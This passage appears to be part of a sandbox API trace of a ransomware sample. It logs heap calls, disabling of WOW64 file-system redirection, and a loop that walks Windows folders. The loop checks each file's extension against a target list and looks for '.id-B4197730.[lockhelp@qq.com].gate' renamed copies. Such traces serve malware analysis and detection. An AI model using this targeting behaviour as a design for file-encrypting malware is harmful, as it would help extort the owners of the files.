Flags=0x0, Size=0x10) returned 0x3f8b368 [0318.915] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b368, Size=0x20) returned 0x7de038 [0318.915] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.916] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.916] Wow64DisableWow64FsRedirection (in: OldValue=0x33bff50 | out: OldValue=0x33bff50*=0x1) returned 1 [0318.916] lstrlenW (lpString="kernel32.dll") returned 12 [0318.916] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7de038 | out: hHeap=0x6e0000) returned 1 [0318.916] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.916] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddbd8 | out: hHeap=0x6e0000) returned 1 Thread: id = 54 os_tid = 0xec0 [0272.246] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3ea0048 [0272.247] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3eb0050 [0272.247] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740528 [0272.247] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c000 [0272.247] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740708 [0272.247] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x3fae020 [0272.250] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740540 [0272.250] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740540, Size=0x20) returned 0x71eb60 [0272.250] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.250] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740558, Size=0x20) returned 0x71ed18 [0272.250] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.251] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.251] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff50 | out: OldValue=0x34fff50*=0x0) returned 1 [0272.251] lstrlenW (lpString="kernel32.dll") returned 12 [0272.251] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.251] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.251] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.251] Sleep (dwMilliseconds=0x64) [0272.369] lstrcmpiW (lpString1=".ini", lpString2=".gate") returned 1 [0272.369] lstrlenW (lpString="desktop.ini") returned 11 [0272.369] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0272.369] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=129) returned 1 [0272.369] CloseHandle (hObject=0x348) returned 1 [0272.369] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0272.369] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate")) returned 0x26 [0272.369] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.369] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.369] lstrlenW (lpString=".doc") returned 4 [0272.369] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0272.369] lstrlenW (lpString=".docx") returned 5 [0272.369] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0272.369] lstrlenW (lpString=".pdf") returned 4 [0272.369] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0272.369] lstrlenW (lpString=".xls") returned 4 [0272.369] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0272.369] lstrlenW (lpString=".xlsx") returned 5 [0272.369] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0272.370] lstrlenW (lpString=".ppt") returned 4 [0272.370] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString=".zip") returned 4 [0272.370] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString=".rar") returned 4 [0272.370] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString=".bz2") returned 4 [0272.370] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0272.370] lstrlenW (lpString=".7z") returned 3 [0272.370] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString=".dbf") returned 4 [0272.370] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString=".1cd") returned 4 [0272.370] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString=".jpg") returned 4 [0272.370] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.370] lstrlenW (lpString=".doc") returned 4 [0272.370] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0272.370] lstrlenW (lpString=".docx") returned 5 [0272.370] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0272.370] lstrlenW (lpString=".pdf") returned 4 [0272.370] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString=".xls") returned 4 [0272.370] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0272.370] lstrlenW (lpString=".xlsx") returned 5 [0272.370] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0272.370] lstrlenW (lpString=".ppt") returned 4 [0272.370] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0272.371] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.371] lstrlenW (lpString=".zip") returned 4 [0272.371] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0272.371] lstrlenW (lpString=".rar") returned 4 [0272.371] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0272.371] lstrlenW (lpString=".bz2") returned 4 [0272.371] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0272.371] lstrlenW (lpString=".7z") returned 3 [0272.371] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0272.371] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.371] lstrlenW (lpString=".dbf") returned 4 [0272.371] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0272.371] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.371] lstrlenW (lpString=".1cd") returned 4 [0272.371] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0272.371] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0272.371] lstrlenW (lpString=".jpg") returned 4 [0272.371] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0272.371] Sleep (dwMilliseconds=0x64) [0272.504] Sleep (dwMilliseconds=0x64) [0272.698] Sleep (dwMilliseconds=0x64) [0272.989] Sleep (dwMilliseconds=0x64) [0273.164] Sleep (dwMilliseconds=0x64) [0273.297] Sleep (dwMilliseconds=0x64) [0273.401] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.401] lstrlenW (lpString="boxed-correct.avi") returned 17 [0273.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.423] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=111320) returned 1 [0274.423] CloseHandle (hObject=0x390) returned 1 [0274.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0274.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.423] lstrlenW (lpString=".doc") returned 4 [0274.423] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.423] lstrlenW (lpString=".docx") returned 5 [0274.423] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.423] lstrlenW (lpString=".pdf") returned 4 [0274.423] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.423] lstrlenW (lpString=".xls") returned 4 [0274.423] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.423] lstrlenW (lpString=".xlsx") returned 5 [0274.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.423] lstrlenW (lpString=".ppt") returned 4 [0274.424] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".zip") returned 4 [0274.424] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".rar") returned 4 [0274.424] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".bz2") returned 4 [0274.424] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".7z") returned 3 [0274.424] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".dbf") returned 4 [0274.424] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".1cd") returned 4 [0274.424] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".jpg") returned 4 [0274.424] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".doc") returned 4 [0274.424] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".docx") returned 5 [0274.424] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.424] lstrlenW (lpString=".pdf") returned 4 [0274.424] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".xls") returned 4 [0274.424] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString=".xlsx") returned 5 [0274.424] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.424] lstrlenW (lpString=".ppt") returned 4 [0274.424] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.424] lstrlenW (lpString=".zip") returned 4 [0274.425] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.425] lstrlenW (lpString=".rar") returned 4 [0274.425] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.425] lstrlenW (lpString=".bz2") returned 4 [0274.425] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.425] lstrlenW (lpString=".7z") returned 3 [0274.425] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.425] lstrlenW (lpString=".dbf") returned 4 [0274.425] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.425] lstrlenW (lpString=".1cd") returned 4 [0274.425] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0274.425] lstrlenW (lpString=".jpg") returned 4 [0274.425] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.425] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.425] lstrlenW (lpString="insertbase.xml") returned 14 [0274.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.429] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=903) returned 1 [0274.429] CloseHandle (hObject=0x390) returned 1 [0274.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0274.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.429] lstrlenW (lpString=".doc") returned 4 [0274.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.429] lstrlenW (lpString=".docx") returned 5 [0274.429] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.429] lstrlenW (lpString=".pdf") returned 4 [0274.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.429] lstrlenW (lpString=".xls") returned 4 [0274.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.429] lstrlenW (lpString=".xlsx") returned 5 [0274.429] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.429] lstrlenW (lpString=".ppt") returned 4 [0274.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".zip") returned 4 [0274.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.430] lstrlenW (lpString=".rar") returned 4 [0274.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString=".bz2") returned 4 [0274.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString=".7z") returned 3 [0274.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".dbf") returned 4 [0274.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".1cd") returned 4 [0274.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".jpg") returned 4 [0274.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".doc") returned 4 [0274.430] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString=".docx") returned 5 [0274.430] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0274.430] lstrlenW (lpString=".pdf") returned 4 [0274.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString=".xls") returned 4 [0274.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString=".xlsx") returned 5 [0274.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0274.430] lstrlenW (lpString=".ppt") returned 4 [0274.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.430] lstrlenW (lpString=".zip") returned 4 [0274.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.431] lstrlenW (lpString=".rar") returned 4 [0274.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.431] lstrlenW (lpString=".bz2") returned 4 [0274.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.431] lstrlenW (lpString=".7z") returned 3 [0274.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.431] lstrlenW (lpString=".dbf") returned 4 [0274.431] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.431] lstrlenW (lpString=".1cd") returned 4 [0274.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0274.431] lstrlenW (lpString=".jpg") returned 4 [0274.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.431] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0274.431] lstrlenW (lpString="ea.xml") returned 6 [0274.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.435] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=384) returned 1 [0274.435] CloseHandle (hObject=0x390) returned 1 [0274.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0274.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.436] lstrlenW (lpString=".doc") returned 4 [0274.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString=".docx") returned 5 [0274.436] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0274.436] lstrlenW (lpString=".pdf") returned 4 [0274.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString=".xls") returned 4 [0274.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString=".xlsx") returned 5 [0274.436] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0274.436] lstrlenW (lpString=".ppt") returned 4 [0274.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.436] lstrlenW (lpString=".zip") returned 4 [0274.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.436] lstrlenW (lpString=".rar") returned 4 [0274.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString=".bz2") returned 4 [0274.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.436] lstrlenW (lpString=".7z") returned 3 [0274.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString=".dbf") returned 4 [0274.437] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString=".1cd") returned 4 [0274.437] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString=".jpg") returned 4 [0274.437] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString=".doc") returned 4 [0274.437] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString=".docx") returned 5 [0274.437] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0274.437] lstrlenW (lpString=".pdf") returned 4 [0274.437] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString=".xls") returned 4 [0274.437] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString=".xlsx") returned 5 [0274.437] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0274.437] lstrlenW (lpString=".ppt") returned 4 [0274.437] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.437] lstrlenW (lpString=".zip") returned 4 [0274.437] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0274.438] lstrlenW (lpString=".rar") returned 4 [0274.438] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0274.438] lstrlenW (lpString=".bz2") returned 4 [0274.438] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0274.438] lstrlenW (lpString=".7z") returned 3 [0274.438] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0274.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.438] lstrlenW (lpString=".dbf") returned 4 [0274.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0274.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.438] lstrlenW (lpString=".1cd") returned 4 [0274.438] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0274.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0274.438] lstrlenW (lpString=".jpg") returned 4 [0274.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0274.438] lstrcmpiW 